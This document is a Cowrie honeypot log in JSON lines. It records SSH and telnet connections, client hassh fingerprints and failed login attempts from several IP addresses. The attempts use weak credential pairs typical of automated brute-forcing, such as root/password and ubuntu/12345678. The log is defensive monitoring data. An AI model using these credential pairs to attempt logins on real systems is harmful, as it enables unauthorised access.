{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:51.315993Z","src_ip":"176.65.132.129","session":"f97a551c6755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.70475172996521,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:51.409821Z","src_ip":"152.42.224.71","session":"202743021b88","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:51.783906Z","src_ip":"176.65.132.129","session":"f97a551c6755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.94747352600098,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:51.958356Z","src_ip":"152.42.224.71","session":"0293da18bcdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:52.868735Z","src_ip":"176.65.132.129","session":"f97a551c6755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.927125215530396,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:53.043420Z","src_ip":"152.42.224.71","session":"6a0b81993441","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":40288,"dst_ip":"159.203.135.109","dst_port":22,"session":"35c4e7c7ec60","protocol":"ssh","message":"New connection: 122.166.167.154:40288 (159.203.135.109:22) [session: 35c4e7c7ec60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:53.298269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:53.302751Z","src_ip":"122.166.167.154","session":"35c4e7c7ec60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:53.563889Z","src_ip":"122.166.167.154","session":"35c4e7c7ec60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.120.188","src_port":38380,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f208a173b9e","protocol":"telnet","message":"New connection: 45.226.120.188:38380 (10.17.0.5:23) [session: 9f208a173b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:53.902932Z"}
{"eventid":"cowrie.session.closed","duration":48.52521276473999,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:54.105030Z","src_ip":"152.42.224.71","session":"fbf5edfef924","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf12345","message":"login attempt [root/asdf12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:54.630034Z","src_ip":"122.166.167.154","session":"35c4e7c7ec60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45752,"dst_ip":"159.203.135.109","dst_port":22,"session":"23898d5c75cc","protocol":"ssh","message":"New connection: 176.65.132.129:45752 (159.203.135.109:22) [session: 23898d5c75cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:54.638601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:54.642124Z","src_ip":"176.65.132.129","session":"23898d5c75cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:54.723711Z","src_ip":"176.65.132.129","session":"23898d5c75cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:55.091549Z","src_ip":"176.65.132.129","session":"23898d5c75cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.52755784988403,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:55.663056Z","src_ip":"152.42.224.71","session":"d81ad9914993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:55.891843Z","src_ip":"122.166.167.154","session":"35c4e7c7ec60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:56.175780Z","src_ip":"176.65.132.129","session":"23898d5c75cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48192,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fd67533a1e5","protocol":"telnet","message":"New connection: 152.42.224.71:48192 (10.17.0.5:23) [session: 1fd67533a1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:57.107971Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59144,"dst_ip":"159.203.135.109","dst_port":22,"session":"91e585e0b5e7","protocol":"ssh","message":"New connection: 176.65.132.129:59144 (159.203.135.109:22) [session: 91e585e0b5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:57.877109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:57.882780Z","src_ip":"176.65.132.129","session":"91e585e0b5e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:57.969087Z","src_ip":"176.65.132.129","session":"91e585e0b5e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:58.215753Z","src_ip":"176.65.132.129","session":"91e585e0b5e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:53:59.350675Z","src_ip":"176.65.132.129","session":"91e585e0b5e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59170,"dst_ip":"159.203.135.109","dst_port":22,"session":"b27478a1f72a","protocol":"ssh","message":"New connection: 176.65.132.129:59170 (159.203.135.109:22) [session: b27478a1f72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:01.022084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:01.027469Z","src_ip":"176.65.132.129","session":"b27478a1f72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:01.109905Z","src_ip":"176.65.132.129","session":"b27478a1f72a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:01.354847Z","src_ip":"176.65.132.129","session":"b27478a1f72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":40808,"dst_ip":"159.203.135.109","dst_port":22,"session":"e632dac2148f","protocol":"ssh","message":"New connection: 147.45.211.215:40808 (159.203.135.109:22) [session: e632dac2148f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:01.640985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:01.646489Z","src_ip":"147.45.211.215","session":"e632dac2148f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:01.829031Z","src_ip":"147.45.211.215","session":"e632dac2148f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"66666","message":"login attempt [root/66666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:02.368309Z","src_ip":"147.45.211.215","session":"e632dac2148f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:02.440923Z","src_ip":"176.65.132.129","session":"b27478a1f72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:03.549509Z","src_ip":"147.45.211.215","session":"e632dac2148f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":54700,"dst_ip":"10.17.0.5","dst_port":22,"session":"a27457bd74b5","protocol":"ssh","message":"New connection: 13.71.92.229:54700 (10.17.0.5:22) [session: a27457bd74b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:03.666628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:03.675614Z","src_ip":"13.71.92.229","session":"a27457bd74b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:03.887746Z","src_ip":"13.71.92.229","session":"a27457bd74b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59198,"dst_ip":"159.203.135.109","dst_port":22,"session":"812c1ebe0821","protocol":"ssh","message":"New connection: 176.65.132.129:59198 (159.203.135.109:22) [session: 812c1ebe0821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:04.296619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:04.301729Z","src_ip":"176.65.132.129","session":"812c1ebe0821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:04.425737Z","src_ip":"176.65.132.129","session":"812c1ebe0821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:04.774040Z","src_ip":"13.71.92.229","session":"a27457bd74b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:04.811750Z","src_ip":"176.65.132.129","session":"812c1ebe0821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.470245122909546,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:04.914253Z","src_ip":"152.42.224.71","session":"6a42f6a7bd44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:05.899875Z","src_ip":"176.65.132.129","session":"812c1ebe0821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:05.988605Z","src_ip":"13.71.92.229","session":"a27457bd74b5","protocol":"ssh"}
